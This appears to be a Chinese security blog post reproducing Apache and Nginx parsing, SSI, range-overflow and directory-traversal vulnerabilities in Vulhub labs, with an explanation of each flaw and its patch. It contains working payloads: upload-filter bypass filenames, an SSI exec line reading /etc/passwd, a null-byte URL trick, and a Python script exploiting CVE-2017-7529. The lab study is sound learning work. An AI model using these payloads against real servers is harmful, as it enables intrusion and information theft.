常见中间件漏洞

Apache

介绍

Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。

Apache的目录结构

bin         存放常用的命令工具,例如httpd
cgi-bin     存放Linux下常用的命令,例如xxx.sh
conf        Linux的配置相关文件,例如httpd.conf
error       错误记录
htdocs      放网站源码
icons       网站图标
logs        日志
manual      手册
modules     扩展模块

Apache换行解析漏洞(CVE-2017-15715)

影响版本:2.4.0~2.4.29

原理

apache配置文件中存在:

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

上面语句的作用是将以.php结尾的文件当作php来解析

$ 匹配输入字符串的结尾位置,如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n'换行或 '\r'回车。这时以.php\n结尾的文件也能被解析为php,这样就能绕过黑名单来上传php文件

复现

拉取镜像

# 进入vulhub对应目录:/home/kali/vulhub/httpd/CVE-2017-15715/ 
docker-compose up -d

访问0.0.0.0:8080

查看配置文件

在vulnhub对应文件夹没找到配置文件,故采用以下办法:

# 查找apache配置文件所在路径(仅用于docker方式),然后访问即可
find / -name docker-php.conf

查看后端代码

index.php:

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);   //返回路径中的文件名部分
    $ext = pathinfo($name,PATHINFO_EXTENSION);  //返回文件名后缀
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
?>

后端代码采用黑名单的方式对我们上传的文件名后缀进行过滤,我们上传1.php\n来绕过黑名单,\n代表换行

filename填1.php1,最后的1是用来占位,下一步将1改为0x0a(因为换行的hex编码是 0a)

//1.php1 内容
<?php phpinfo(); ?>

抓包修改filename:

访问1.pnp%oa:

Apache多后缀解析漏洞

该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞

apache支持php有多种模式,常见的有module、cgi、fastcgi等,此漏洞存在于module模式。使用fastcig模式与php结合的所有版本apache不存在此漏洞(phpstudy使用的是就是CGI/FastCGI模式)。

原理

apache对文件后缀名的识别是从后向前进行匹配的,以单个.作为分隔符。当遇到不认识的后缀时继续往前,直到识别,若都不识别就不做处理。在mime.types中有定义哪些后缀是apache可识别的。

如果配置文件中有AddHandler application/x-httpd-php .php,那么1.php.xxx就会被解析为1.php,漏洞就产生了。可利用此漏洞绕过后缀名检测

复现

拉取镜像

# 进入vulhub对应目录:/home/kali/vulhub/httpd/apache_parsing_vulnerability/
docker-compose up -d

访问0.0.0.0:8080

查看配置文件

/home/kali/vulhub/httpd/apache_parsing_vulnerability/conf/docker-php.conf:

AddHandler application/x-httpd-php .php

DirectoryIndex disabled
DirectoryIndex index.php index.html                                                                  

<Directory /var/www/>
    Options -Indexes
    AllowOverride All
</Directory>

查看后端代码

index.php:

<?php

if (!empty($_FILES)):

$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
    die('Unsupported filetype uploaded.');
}

$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
    die('Error uploading file - check destination is writeable.');
}

die('File uploaded successfully: ' . $new_name);

else:
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>
<?php
endif;

后端采用白名单的方式检测上传的文件后缀,利用1.php.jpg来绕过

//1.php.jpg 内容
<?php phpinfo(); ?>

Apache SSI远程命令执行漏洞

影响版本:Apache全版本(支持SSI与CGI)

SSI

介绍

Server Side Include,是一种类似于ASP的基于服务器的网页制作技术。将内容发送到浏览器之前,可以使用服务器端包含 (SSI)指令将文本、图形或应用程序信息包含到网页中。

因为包含 SSI 指令的文件要求特殊处理,所以必须为所有 SSI 文件赋予 SSI文件扩展名。默认扩展名是 .stm、.shtm 和 .shtml。

shtml和 asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来

主要有以下几种用用途:

1、显示服务器端环境变量<#echo>

2、将文本内容直接插入到文档中<#include>

3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)

4、直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

5、设置SSI信息显示格式<#config>;(如文件制作日期/大小显示方式) 高级SSI;可设置变量使用if条件语句。

apache开启SSI

Apache默认是不支持SSI的,需要我们更改httpd.conf来进行配置。

以windows平台的Apache为例:

打开conf目录下的httpd.conf文件,把下面两行前面的#去掉。

#AddType text/html .shtml
#AddOutputFilter INCLUDES .shtml

然后搜索Options Indexes FollowSymLinks,改为Options Indexes FollowSymLinks Includes

原理

shtml文件中的<#exec cmd="[command]">,可以执行系统命令

复现

拉取镜像

# 进入vulhub对应目录:/home/kali/vulhub/httpd/ssi-rce/
docker-compose up -d

访问0.0.0.0:8080/upload.php

查看后端代码

upload.php:

<?php
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php'])) {
    die('Unsupported filetype uploaded.');
}

move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<a href='/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";

endif;
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>

后端采用黑名单的方式检测上传的文件后缀,利用1.shtml来绕过

//1.shtml 内容
<p>
<!--#exec cmd="cat /etc/passwd" -->
</p>

Nginx

介绍

Nginx是一个高性能的HTTP和反向代理web服务器

Apache的目录结构

conf 存放nginx所有配置文件的目录,主要nginx.conf
html 存放nginx默认站点的目录,如index.html、error.html等
logs 存放nginx默认日志的目录,如error.log access.log
sbin 存放nginx主命令的目录,sbin/nginx

文件解析漏洞

该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞

配置:

php.ini:cgi.fix_pathinfo=1(作用在原理里面讲)

php-fpm.conf:security.limit_extensions=[空,或者.jpg/.png]

(新版本的php才引入“security.limit_extensions”,它的作用是限制可执行文件的后缀,默认只允许执行.php文件,所以该漏洞很难利用)

原理

FastCGI

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。Fastcgi协议是服务器中间件和某个语言后端进行数据交换的协议,它相当于 WEB 服务器 和 应用程序 连接的桥梁

PHP-FPM

FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM,FPM按照 fastcgi的协议将TCP流解析成真正的数据。

Nginx 并不能直接与 PHP-FPM 通信,而是将请求通过 FastCGI 交给 PHP-FPM 处理。

nginx与fpm

当nginx软件收到一个客户端的请求后,根据配置文件判断是否是PHP文件,如果是,则转发给fpm程序,fpm处理完之后返回结果给nginx,nginx再返回结果给客户端。

Nginx的配置文件server块里面有对PHP文件的识别和转发:

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

\.php$这段正则可以识别以 .php 结尾的文件。

例子

(离别歌大佬写的太好了,就拿来用了,原文地址:https://www.leavesongs.com/penetration/fastcgi-and-php-fpm.html)

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会根据Fastcgi协议 将这个请求变成如下key-value对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

然后发给PHP-FPM,这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。

PHP-FPM拿到 Fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php。如果SCRIPT_FILENAME的值是一个不存在的文件,则去掉最后一个/及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在,最后也找不到就会报错。(这是因为 php.ini配置文件中cgi.fix_pathinfo=1 在发挥作用,这项配置用于修复路径,关闭该选项很可能会导致一些其他错误,所以一般是开启的)

比如/var/www/html/index.txt/.php,fpm判断该文件不存在,会去掉/.php,变成/var/www/html/index.txt,如果这个文件存在,就会被当作php文件来执行。

这样就能将任意文件解析为php文件,从而导致代码执行。

利用方式

假如存在文件/var/www/html/nginx.png,内容为<?php phpinfo();?>

用户请求http://127.0.0.1/nginx.png/.php,nginx将会发送如下环境变量到 php-fpm 里:

{
    ...
    'SCRIPT_FILENAME': '/var/www/html/nginx.png/.php',
    'SCRIPT_NAME': '/nginx.png/.php',
    'REQUEST_URI': '/nginx.png/.php',
    'DOCUMENT_ROOT': '/var/www/html',
    ...
}

第一次php-fpm发现/var/www/html/nginx.png/.php不存在,则去掉/.php,再判断/var/www/html/nginx.png是否存在。显然这个文件是存在的,于是被作为PHP文件执行,导致解析漏洞。

复现

拉取镜像

# 进入vulhub对应目录:/home/kali/vulhub/nginx/nginx_parsing_vulnerability/
docker-compose up -d

访问0.0.0.0:80

查看配置文件

nginx相关配置:

location ~ \.php$ {
        fastcgi_index index.php;

        include fastcgi_params;

        fastcgi_param  REDIRECT_STATUS    200;
        fastcgi_param  SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
        fastcgi_param  DOCUMENT_ROOT /var/www/html;
        fastcgi_pass php:9000;
}

php-fpm配置:

security.limit_extensions =

查看后端代码

index.php:

<?php

if (!empty($_FILES)):

// Check for errors
if($_FILES['file_upload']['error'] > 0){
    die('An error ocurred when uploading.');
}

if(!getimagesize($_FILES['file_upload']['tmp_name'])){
    die('Please ensure you are uploading an image.');
}

// Check filetype
if(stripos($_FILES['file_upload']['type'], 'image/') !== 0){
    die('Unsupported filetype uploaded.');
}

// Check filesize
if($_FILES['file_upload']['size'] > 500000){
    die('File uploaded exceeds maximum upload size.');
}

// Check filesize
if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
    die('File is not uploaded file');
}

$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
    die('Unsupported filetype uploaded.');
}


$new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}";
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
    die('Error uploading file - check destination is writeable.');
}

die('File uploaded successfully: ' . $new_name);

else:
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>
<?php
endif;

后端代码限制上传文件类型必须为 image,而且还使用了 getimagesize() 函数来判断

上传一个1.jpg,在原来图片内容后添加<?php phpinfo();?>

访问http://0.0.0.0/<上传图片地址>/.php

(我直接使用题目自带的nginx.png)

问题

都说该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞,但是我在本地win10的PHPtudy上没有复现成功,cgi.fix_pathinfo=1配置没问题,但是找不到php-fpm.conf文件,也就找不到security.limit_extensions,然后就不知道该怎么办了,求指点(php版本是7.3.4)

文件名逻辑漏洞(CVE-2013-4547)

影响版本:0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

该漏洞利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件,造成命令执行的危害。

原理

Nginx解析URL时,会扫描URL中的字符,扫描到每个字符的时候,都有属于当前的一个状态。

Nginx1.4.2 中解析URL的部分源码:(下载地址:https://github.com/nginx/nginx/releases/tag/release-1.4.1)

//第538行
case sw_check_uri: 
  switch (ch) { 
      case '.':
        r->uri_ext = p;
        break;
      case ' ': 
        r->uri_end = p; 
        state = sw_check_uri_http_09; 
        break;
      case '\0':   //当遇到\0是,将会判断为非法字符
           return NGX_HTTP_PARSE_INVALID_REQUEST;  

      ···
  } 

case sw_check_uri_http_09: 
    switch (ch) { 
        case ' ': 
            break; 
        case CR: 
            r->http_minor = 9; 
            state = sw_almost_done; 
            break; 
        case LF: 
            r->http_minor = 9; 
            goto done; 
        case 'H': 
            r->http_protocol.data = p; 
            state = sw_http_H; 
            break; 
        default: 
            r->space_in_uri = 1; 
            state = sw_check_uri; 
            break; 
    }
    break;

首先要明白进入下一个状态之前会自动执行 p++,也就是将要解析的ULR字符后移一位。

如果URL中有\0,解析到它时会直接返回NGX_HTTP_PARSE_INVALID_REQUEST,触发异常,但是如果在\0前面是空格,解析到空格时会跳转到sw_check_uri_http_09状态,这时候要解析的字符变成\0,然后进入default:

又跳转回sw_check_uri状态,这时候要解析的字符变成\0后面的字符,这样\0就被nginx忽略跳过去而不会触发异常,然后继续解析后面的字符。

例子

URL:http://127.0.0.1/shell.jpg[0x20][0x00].php(0x20:空格;0x00:\0)

nginx服务器接收到请求,自己要对URL进行解析,遇到[0x20][0x00]的时候,根据上面所讲的可以知道nginx会跳过[0x00]去解析.,而.被为是URL的扩展名的分隔符,最终导致nginx认为此次请求的后缀名为php,然后传给php-fpm进行处理。(SCRIPT_NAME 是 shell.jpg[0x20].php)

而php-fpm在查找文件的时候被\0截断,最终取到shell.jpg[0x20]文件,然后就会将shell.jpg[0x20]里的内容解析为PHP(注:Linux下php-fpm默认限制的后缀名为php,如未取消限制,访问将出现access denied。测试想要查看执行结果,需修改php-fpm.conf中的security.limit_extensions为空,即允许任意后缀名文件作为php解析。)

所以要利用这一漏洞,就要上传一个shell.jpg[0x20]文件,如何上传在下面会讲。

复现

拉取镜像

# 进入vulhub对应目录:/home/kali/vulhub/nginx/CVE-2013-4547/
docker-compose up -d

访问0.0.0.0:8080

查看配置文件

nginx相关配置:

location ~ \.php$ {
           root           html;
           include        fastcgi_params;

           fastcgi_pass   php:9000;
           fastcgi_index  index.php;
           fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
           fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

php-fpm配置:

security.limit_extensions = 
php_admin_flag[cgi.fix_pathinfo] = off

查看后端代码

index.php:

<?php
if (!empty($_FILES)):

// Check for errors
if($_FILES['file_upload']['error'] > 0){
    die('An error ocurred when uploading.');
}

// Check filesize
if(!is_uploaded_file($_FILES['file_upload']['tmp_name'])) {
    die('File is not uploaded file');
}

$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (empty($ext) || in_array($ext, ['php', 'php3', 'php5', 'phtml'])) {
    die('Unsupported filetype uploaded.');
}

$new_name = __DIR__ . '/uploadfiles/' . $_FILES['file_upload']['name'];
if(!move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name)){
    die('Error uploading file - check destination is writeable.');
}

die('File uploaded successfully: ' . $new_name);

else:
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>
<?php
endif;

后端代码采用黑名单来检查上传文件后缀,不能上传'php', 'php3', 'php5', 'phtml'文件。

上传shell.jpg1,内容为<?php phpinfo(); ?>,抓包修改1的位置为[0x20],上传到服务器后文件就会保存为'shell.jpg ',注意这里最后有一个空格。

然后访问/uploadfiles/shell.jpg11.php抓包修改11两个位置为[0x20]/[0x00]

访问成功:

修复

上面给出的是 nginx1.4.1的漏洞代码部分,我又对照了nginx1.4.4的源码,知道了是如何修复的。

nginx1.4.4/src/http/ngx_http_parse.c:

case sw_check_uri_http_09:
            switch (ch) {
            case ' ':
                break;
            case CR:
                r->http_minor = 9;
                state = sw_almost_done;
                break;
            case LF:
                r->http_minor = 9;
                goto done;
            case 'H':
                r->http_protocol.data = p;
                state = sw_http_H;
                break;
            default:
                r->space_in_uri = 1;
                state = sw_check_uri;
                p--;        //相比1.4.1,多了一行 p--
                break;
            }
            break;

相比1.4.1,1.4.4 多了一行 p--,它的作用是将要解析的字符移动到上一个字符,可能有点难理解,举个例子:

首先要明白进入下一个状态之前会自动执行 p++

1.4.4版本遇到[0x20][0x00].,跟1.4.1版本一样遇到空格会跳入sw_check_uri_http_09状态,这时候 p指的字符是[0x00],因为进入下一个状态之前会自动执行了 p++。经过default的处理,state = sw_check_uri,并且执行p--,然后执行break跳转到下一状态,跳转前自动执行 p++,这时候 p指的字符是[0x00],而不是.,在sw_check_uri状态遇到[0x00]会直接返回NGX_HTTP_PARSE_INVALID_REQUEST,触发异常。

总结

这个漏洞比较难利用,但是值得学习的地方很多。

Nginx越界读取缓存漏洞(CVE-2017-7529)

影响版本:Nginx 0.5.6 ~ 1.13.2

原理

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

HTTP范围请求

HTTP 协议范围请求允许服务器只发送 HTTP 消息的一部分到客户端。范围请求在传送大的媒体文件,或者与文件下载的断点续传功能搭配使用时非常有用。

检测服务器端是否支持范围请求

假如在响应中存在 Accept-Ranges 首部(并且它的值不为 “none”),那么表示该服务器支持范围请求。例如,你可以使用 cURL 发送一个HEAD请求来进行检测:

(curl中 -i参数可以显示 http response 的头信息,连同网页代码一起。-I参数则只显示 http response 的头信息,-H参数可以在请求中追加一个首部行,-r参数检索来自HTTP/1.1或FTP服务器字节范围)

curl -i http://192.168.231.140:8080

如何从服务器端请求特定的范围?

假如服务器支持范围请求的话,你可以使用Range首部来生成该类请求。该首部指示服务器应该返回文件的哪一或哪几部分。

Range首部的写法有三种:

# 1.单一范围
Range:bytes=0-1024 表示访问第0到第100字节;

# 例子
curl http://192.168.231.140:8080 -H "Range: bytes=0-100"

# 2.多重范围
Range:bytes=100-200,601-999,-300 表示分三块访问,分别是0到20字节,100到120字节,最后的40字节;

# 例子
curl http://192.168.231.140:8080 -H "Range: bytes=0-20,100-120,-40"

# 3.条件式范围请求
# 该方法在此处用处不大,故不做介绍

想详细了解参考这里:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Range_requests

漏洞代码

nginx1.13.1/ngx_http_range_filter_module.c:

//357行
if (suffix) {
            start = content_length - end;
            end = content_length - 1;
        }

这段代码是rang为多重范围的情况(Range:bytes=-end)下start 和 end 计算方法,比如Range:bytes=-300,content_length=400,那么 start = 400 - 300 = 100,end = 400 - 1 = 399

如果end > content_length,那么start 为负数,这样我们就能读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容

//371行
if (start < end) {
            range = ngx_array_push(&ctx->ranges);
            if (range == NULL) {
                return NGX_ERROR;
            }

            range->start = start;
            range->end = end;

            size += end - start;    // 计算size

            if (ranges-- == 0) {
                return NGX_DECLINED;
            }
        }

这段代码的作用是计算所有range长度的总和(size)

//396行
if (size > content_length) {
        return NGX_DECLINED;
    }

这段代码的作用是检测 size,如果range的总长度超过content-length,就直接将原始文件返回。

当我们传入Range:bytes=-300,-300(假如content-length=200),那么start=200-300=-100(这样在Cache文件偏移之前的100 字节也会被返回),end=199,size=199-(-100)=299>content-length,这样就直接将原始文件返回,不会返回多余的字节

可以使用size长度溢出来绕过这一限制,nginx的源码在声明start,end时用的是64位有符号整型,所以最大可表示:2^63-1=9223372036854775807。由代码可知size可以是由多个range范围相加得到,如果第一个range的size + 第二个的range的size超出9223372036854775807,就可以绕过size > content_length的判断。

复现

拉取镜像

# 进入vulhub对应目录:/home/kali/vulhub/nginx/CVE-2017-7529/
docker-compose up -d

访问0.0.0.0:8080,出现以下页面则说明搭建成功:

查看配置文件

nginx相关配置:

location / {
        proxy_pass http://127.0.0.1:8081/;
        proxy_set_header HOST $host;                    # 反向代理本机
        proxy_cache cache_zone;                         # 开启cache
        add_header X-Proxy-Cache $upstream_cache_status; #说明开启了缓存
        proxy_ignore_headers Set-Cookie;
    }

先查看文件长度:

curl -I http://192.168.231.140:8080

content_length = 612,X-Proxy-Cache = HIT说明此时缓存命中

设置第一段range=-1212(612+600,size_1=1212),这样可以读取缓存文件前600个字节

设置第二段range=-9223372036854774596(9223372036854775808 - 1212,size_2=9223372036854774596)

size_1 + sieze_2 = 1212 + 9223372036854774596 = 9223372036854775808 > 9223372036854775807

curl http://192.168.231.140:8080 -r -1212,-9223372036854774596

但是我在win10测试时候没有输出,原因是输出会导致乱码,所以我又在pycharm中使用脚本执行了一次

脚本:

import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://192.168.231.140:8080/ offset" % (sys.argv[0]))
    sys.exit()

headers = {}
offset = int(sys.argv[2])
url = sys.argv[1]

file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset

headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

获取到缓存文件之前的600个字节,里面的8081端口在实际的业务场景中可能是其他的地址,这样便会造成信息泄漏。

修复

//357行,限制了start不能为负的,最小只能是0
if (suffix) {
            start = (end < content_length) ? content_length - end : 0;
            end = content_length - 1;
        }
//380行,检测了size的溢出情况,防止size溢出后造成size小于content-length这条判断的绕过
if (size > NGX_MAX_OFF_T_VALUE - (end - start)) {
                return NGX_HTTP_RANGE_NOT_SATISFIABLE;
            }

Nginx目录穿越漏洞

影响版本:全版本

原理

Nginx的目录穿越漏洞严格定义的话,并非是漏洞,而是Nginx的特性,由于运维人员或者开发人员配置错误而导致的漏洞。

Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。

错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):

location /files {
    alias /home/;
}

alias指定的路径是location的别名,不管location的值怎么写,资源的真实路径都是 alias 指定的路径

比如访问http://127.0.0.1/files/test.php,其实访问资源的真实路径是/home/test.php,就是将/files替换为/home/

如果访问http://127.0.0.1/files../,访问资源的真实路径是/home/../,这样就造成目录穿越

复现

拉取镜像

# 进入vulhub对应目录:/home/kali/vulhub/nginx/insecure-configuration/
docker-compose up -d

访问0.0.0.0:8081:

查看配置文件

nginx相关配置:

location /files {
        alias /home/;
    }

访问http://192.168.231.140:8081/files../

参考文章

https://zhuanlan.zhihu.com/p/125115734

https://zhuanlan.zhihu.com/p/136801555

https://segmentfault.com/a/1190000012407268

https://qcsdn.com/article/266701.html

https://news.68idc.cn/server/safe/20150412318860.html

https://www.cnblogs.com/liyuanhong/articles/11181520.html

https://www.leavesongs.com/penetration/fastcgi-and-php-fpm.html


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录